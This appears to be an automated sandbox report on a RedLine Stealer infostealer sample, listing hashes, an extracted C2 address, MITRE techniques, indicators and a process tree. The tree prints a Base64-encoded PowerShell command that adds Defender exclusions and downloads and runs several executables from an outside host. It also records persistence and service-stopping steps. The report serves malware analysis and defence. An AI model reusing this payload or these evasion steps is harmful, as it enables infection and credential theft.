redline | 702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

Analysis

max time kernel
51s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2023, 00:45

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General

Target

17855519b9e1bde7cabf66a422b5671d4d462968.exe
Size

365KB
MD5

ee244310289c82ebe8c73cfd83329f49
SHA1

17855519b9e1bde7cabf66a422b5671d4d462968
SHA256

702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
SHA512

20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
SSDEEP

6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/2604-173-0x0000000000740000-0x0000000000760000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 4196 created 1076	4196	SmartDefRun.exe	45
PID 4196 created 1076	4196	SmartDefRun.exe	45
PID 4196 created 1076	4196	SmartDefRun.exe	45
PID 4196 created 1076	4196	SmartDefRun.exe	45
PID 2708 created 616	2708	powershell.EXE	5

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	224	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 5 IoCs

pid	Process
3808	C4Loader.exe
2724	new2.exe
2912	SysApp.exe
4196	SmartDefRun.exe
1752	fodhelper.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\klService.exe	SysApp.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 5068 set thread context of 4528	5068	17855519b9e1bde7cabf66a422b5671d4d462968.exe	83
PID 2724 set thread context of 2604	2724	new2.exe	94
PID 2912 set thread context of 2972	2912	SysApp.exe	98
PID 4196 set thread context of 2264	4196	SmartDefRun.exe	124
PID 2708 set thread context of 4956	2708	powershell.EXE	129

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4624	sc.exe
1812	sc.exe
3140	sc.exe
2268	sc.exe
4072	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
756	5068	WerFault.exe	81
1864	2724	WerFault.exe	89

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4084	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
224	powershell.exe
224	powershell.exe
2604	vbc.exe
4196	SmartDefRun.exe
4196	SmartDefRun.exe
2328	powershell.exe
2328	powershell.exe
4196	SmartDefRun.exe
4196	SmartDefRun.exe
4196	SmartDefRun.exe
4196	SmartDefRun.exe
2056	powershell.exe
2056	powershell.exe
4196	SmartDefRun.exe
4196	SmartDefRun.exe
2708	powershell.EXE
2708	powershell.EXE
4428	powershell.EXE
4428	powershell.EXE
2708	powershell.EXE
4956	dllhost.exe
4956	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	2604	vbc.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2056	powershell.exe
Token: SeSecurityPrivilege	2056	powershell.exe
Token: SeTakeOwnershipPrivilege	2056	powershell.exe
Token: SeLoadDriverPrivilege	2056	powershell.exe
Token: SeSystemProfilePrivilege	2056	powershell.exe
Token: SeSystemtimePrivilege	2056	powershell.exe
Token: SeProfSingleProcessPrivilege	2056	powershell.exe
Token: SeIncBasePriorityPrivilege	2056	powershell.exe
Token: SeCreatePagefilePrivilege	2056	powershell.exe
Token: SeBackupPrivilege	2056	powershell.exe
Token: SeRestorePrivilege	2056	powershell.exe
Token: SeShutdownPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeSystemEnvironmentPrivilege	2056	powershell.exe
Token: SeRemoteShutdownPrivilege	2056	powershell.exe
Token: SeUndockPrivilege	2056	powershell.exe
Token: SeManageVolumePrivilege	2056	powershell.exe
Token: 33	2056	powershell.exe
Token: 34	2056	powershell.exe
Token: 35	2056	powershell.exe
Token: 36	2056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2056	powershell.exe
Token: SeSecurityPrivilege	2056	powershell.exe
Token: SeTakeOwnershipPrivilege	2056	powershell.exe
Token: SeLoadDriverPrivilege	2056	powershell.exe
Token: SeSystemProfilePrivilege	2056	powershell.exe
Token: SeSystemtimePrivilege	2056	powershell.exe
Token: SeProfSingleProcessPrivilege	2056	powershell.exe
Token: SeIncBasePriorityPrivilege	2056	powershell.exe
Token: SeCreatePagefilePrivilege	2056	powershell.exe
Token: SeBackupPrivilege	2056	powershell.exe
Token: SeRestorePrivilege	2056	powershell.exe
Token: SeShutdownPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeSystemEnvironmentPrivilege	2056	powershell.exe
Token: SeRemoteShutdownPrivilege	2056	powershell.exe
Token: SeUndockPrivilege	2056	powershell.exe
Token: SeManageVolumePrivilege	2056	powershell.exe
Token: 33	2056	powershell.exe
Token: 34	2056	powershell.exe
Token: 35	2056	powershell.exe
Token: 36	2056	powershell.exe
Token: SeIncreaseQuotaPrivilege	2056	powershell.exe
Token: SeSecurityPrivilege	2056	powershell.exe
Token: SeTakeOwnershipPrivilege	2056	powershell.exe
Token: SeLoadDriverPrivilege	2056	powershell.exe
Token: SeSystemProfilePrivilege	2056	powershell.exe
Token: SeSystemtimePrivilege	2056	powershell.exe
Token: SeProfSingleProcessPrivilege	2056	powershell.exe
Token: SeIncBasePriorityPrivilege	2056	powershell.exe
Token: SeCreatePagefilePrivilege	2056	powershell.exe
Token: SeBackupPrivilege	2056	powershell.exe
Token: SeRestorePrivilege	2056	powershell.exe
Token: SeShutdownPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeSystemEnvironmentPrivilege	2056	powershell.exe
Token: SeRemoteShutdownPrivilege	2056	powershell.exe
Token: SeUndockPrivilege	2056	powershell.exe
Token: SeManageVolumePrivilege	2056	powershell.exe
Token: 33	2056	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 5068 wrote to memory of 4528	5068	17855519b9e1bde7cabf66a422b5671d4d462968.exe	83
PID 5068 wrote to memory of 4528	5068	17855519b9e1bde7cabf66a422b5671d4d462968.exe	83
PID 5068 wrote to memory of 4528	5068	17855519b9e1bde7cabf66a422b5671d4d462968.exe	83
PID 5068 wrote to memory of 4528	5068	17855519b9e1bde7cabf66a422b5671d4d462968.exe	83
PID 5068 wrote to memory of 4528	5068	17855519b9e1bde7cabf66a422b5671d4d462968.exe	83
PID 4528 wrote to memory of 224	4528	vbc.exe	86
PID 4528 wrote to memory of 224	4528	vbc.exe	86
PID 4528 wrote to memory of 224	4528	vbc.exe	86
PID 224 wrote to memory of 3808	224	powershell.exe	88
PID 224 wrote to memory of 3808	224	powershell.exe	88
PID 224 wrote to memory of 3808	224	powershell.exe	88
PID 224 wrote to memory of 2724	224	powershell.exe	89
PID 224 wrote to memory of 2724	224	powershell.exe	89
PID 224 wrote to memory of 2724	224	powershell.exe	89
PID 224 wrote to memory of 2912	224	powershell.exe	91
PID 224 wrote to memory of 2912	224	powershell.exe	91
PID 224 wrote to memory of 2912	224	powershell.exe	91
PID 224 wrote to memory of 4196	224	powershell.exe	93
PID 224 wrote to memory of 4196	224	powershell.exe	93
PID 2724 wrote to memory of 2604	2724	new2.exe	94
PID 2724 wrote to memory of 2604	2724	new2.exe	94
PID 2724 wrote to memory of 2604	2724	new2.exe	94
PID 2724 wrote to memory of 2604	2724	new2.exe	94
PID 2724 wrote to memory of 2604	2724	new2.exe	94
PID 2912 wrote to memory of 2972	2912	SysApp.exe	98
PID 2912 wrote to memory of 2972	2912	SysApp.exe	98
PID 2912 wrote to memory of 2972	2912	SysApp.exe	98
PID 2912 wrote to memory of 2972	2912	SysApp.exe	98
PID 2912 wrote to memory of 2972	2912	SysApp.exe	98
PID 2972 wrote to memory of 4084	2972	vbc.exe	99
PID 2972 wrote to memory of 4084	2972	vbc.exe	99
PID 2972 wrote to memory of 4084	2972	vbc.exe	99
PID 1820 wrote to memory of 1812	1820	cmd.exe	114
PID 1820 wrote to memory of 1812	1820	cmd.exe	114
PID 1820 wrote to memory of 3140	1820	cmd.exe	115
PID 1820 wrote to memory of 3140	1820	cmd.exe	115
PID 1820 wrote to memory of 2268	1820	cmd.exe	116
PID 1820 wrote to memory of 2268	1820	cmd.exe	116
PID 1820 wrote to memory of 4072	1820	cmd.exe	117
PID 1820 wrote to memory of 4072	1820	cmd.exe	117
PID 1820 wrote to memory of 4624	1820	cmd.exe	118
PID 1820 wrote to memory of 4624	1820	cmd.exe	118
PID 1820 wrote to memory of 5108	1820	cmd.exe	119
PID 1820 wrote to memory of 5108	1820	cmd.exe	119
PID 1820 wrote to memory of 3608	1820	cmd.exe	120
PID 1820 wrote to memory of 3608	1820	cmd.exe	120
PID 1820 wrote to memory of 4772	1820	cmd.exe	121
PID 1820 wrote to memory of 4772	1820	cmd.exe	121
PID 1820 wrote to memory of 2256	1820	cmd.exe	122
PID 1820 wrote to memory of 2256	1820	cmd.exe	122
PID 1820 wrote to memory of 4752	1820	cmd.exe	123
PID 1820 wrote to memory of 4752	1820	cmd.exe	123
PID 4196 wrote to memory of 2264	4196	SmartDefRun.exe	124
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129
PID 2708 wrote to memory of 4956	2708	powershell.EXE	129

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c7bc5529-6fa7-41a3-b7bb-b47d2b45fe1c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4956

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1076
- C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
  "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:224
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:3808
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2724
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2604
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 244
        6⤵
        Program crash
        
        PID:1864
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Drops startup file
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2912
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2972
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4084
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4196
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 304
    3⤵
    - Program crash
    PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
